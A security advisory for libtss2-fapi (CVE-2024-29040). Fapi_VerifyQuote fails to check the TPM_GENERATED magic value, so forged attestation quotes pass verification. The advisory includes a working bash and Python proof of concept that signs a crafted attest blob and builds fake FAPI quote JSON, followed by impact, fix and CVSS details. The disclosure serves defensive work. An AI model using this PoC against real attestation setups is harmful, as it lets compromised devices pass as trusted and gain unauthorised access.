Skip to content

Fapi Verify Quote: Does not detect if quote was not generated by TPM

Moderate
AndreasFuchsTPM published GHSA-837m-jw3m-h9p6 Jun 25, 2024

Package

libtss2-fapi

Affected versions

<= 4.0.1

Patched versions

>= 3.2.3 >=4.0.2 >= 4.1.0

Description

Details

The JSON Quote Info returned by Fapi_Quote has to be deserialized by Fapi_VerifyQuote to the TPM Structure TPMS_ATTEST. For the field TPM2_GENERATED magic of this structure any number can be used in the JSON structure. But TPM_GENERATED_VALUE is defined in Part 2: Structures specification [2] in section 6.2 as 0xFF544347. Also after deserialization this number is not checked by Fapi_VerifyQuote.

PoC

The attacker can extract a FAPI key and use this key with the tpm tools for signing the faked attest. For the faked attest the attacker must create attestation data for FAPI in json format which can be used by tss2_verifyquote

#!/bin/bash

set -e

# Requirements:
#
#  install: tpm2-pytss, tpm2-tools
#
#  tss2_provision
#  tss2_createkey -p /EK/quotekey -t "sign,restricted"
#  tss2_exportkey -p /EK/quotekey -o quotekey.pub -f
#  tss2_import -p /ext/quotekey -i quotekey.pub
#
#
# This is TPMS_ATTEST data, with only the magic value changed,
# from 0xFF544347 to 0xFE544347
# This allows the data to be signed by a restricted key.
SELF_GENERATED_QUOTE="/lRDR4AYACIACz8O45ce3lakDjlXj8HzNVWsPqxmdQB4NDJvtr/FKOqBAAAAAAAAJrMS+AAAACcA\
AAAAAQEuAAwAAAAAAAAAAQAEAw8AAAAgkXJ+pdvylw/O77Y4ankX7IIHqJIcIcQiQ+it1rkAhaE="

echo ${SELF_GENERATED_QUOTE} | base64 -d > quote.msg

# Create pattern for faked json quote-info
tss2_quote -x 10 -p /EK/quotekey -q fapi-quote-info-pattern -o quote.sig -f
tss2_verifyquote -q fapi-quote-info-pattern -k /ext/quotekey -i quote.sig

# Create the signature for the faked attest
tss2_gettpm2object -p /EK/quotekey -c quotekey.ctx -f
tpm2 hash -o quote.digest -t quote.ticket -g sha256 -C e quote.msg
tpm2 sign -c quotekey.ctx -o quote.sig.fake -t quote.ticket -d quote.digest -f plain

# Copy the data from the faked attest into the pattern and create faked json data.
python3 - <<EOF
from tpm2_pytss import *
from tpm2_pytss.encoding import (
    base_encdec,
    json_encdec,
    tools_encdec,
    to_yaml,
    from_yaml,
)
import json

msg_file_path = 'quote.msg'
fapi_json_file_path='fapi-quote-info-pattern'
fapi_quote_info_fake_path = 'fapi-quote-info.fake'

with open(msg_file_path, 'rb') as file:
    msg_data = file.read()

fake_attest, _ = TPMS_ATTEST.unmarshal(bytes(msg_data))
encdec = json_encdec()
fake_attest_data = encdec.encode(fake_attest)

with open(fapi_json_file_path, 'r') as file:
    fapi_json_data = json.load(file)

fapi_json_data['attest']['magic'] = fake_attest_data['magic']
fapi_json_data['attest']['qualifiedSigner'] = fake_attest_data['qualifiedSigner']
fapi_json_data['attest']['attested'] = fake_attest_data['attested']
fapi_json_data['attest']['firmwareVersion'] = fake_attest_data['firmwareVersion']
fapi_json_data['attest']['clockInfo'] = fake_attest_data['clockInfo']

json_string = json.dumps(fapi_json_data)
with open(fapi_quote_info_fake_path, 'w') as file:
    print(json_string, file=file)

EOF

# This should fail since the magic code of the signed data is not 0xFF544347 aka TPM_GENERATED_VALUE
# But it doesn't because it's not checked
tss2_verifyquote -q fapi-quote-info.fake -k /ext/quotekey -i quote.sig.fake


Impact

The verifier can receive a state which does not represent the actual, possibly malicious state of the device under test.
The impact then depends on the further actions of the falsely successful attestation process.
For example, the malicious device might get access to data it shouldn't, or can use services it shouldn't be able to.

FIx

The function ifapi_json_TPMS_ATTEST_deserialize should check the field magic and return an error if 0xFF544347 is not used, and Fapi_VerifyQuote should check this value after deserialization.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2024-29040

Weaknesses

No CWEs

Credits